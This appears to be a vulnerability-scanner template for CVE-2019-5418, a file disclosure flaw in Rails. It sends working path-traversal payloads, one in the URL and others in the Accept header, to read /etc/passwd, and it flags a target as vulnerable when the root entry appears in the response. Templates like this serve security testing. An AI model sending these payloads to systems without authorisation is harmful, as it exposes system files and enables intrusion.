id: CVE-2019-5418
info:
  name: Rails Information Leak
  risk: Medium

params:
  - root: '{{.BaseURL}}'

variables:
  - endpoint: |
      test/pathtraversal/master/
requests: 
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}..%252f..%252f..%252f..%252f../etc/passwd   
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      - Accept: '../../../../../../../../etc/passwd{{ "{{" }}'
    detections:
      - >-
        StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:")
  - method: GET
    redirect: false
    url: >-
      {{.root}}
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
      - Accept: '../../../../../../../../../../et*/pa??w*{{ "{{" }}'
    detections:
      - >-
        StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:")

        
references:
  - https://www.cvebase.com/cve/2019/5418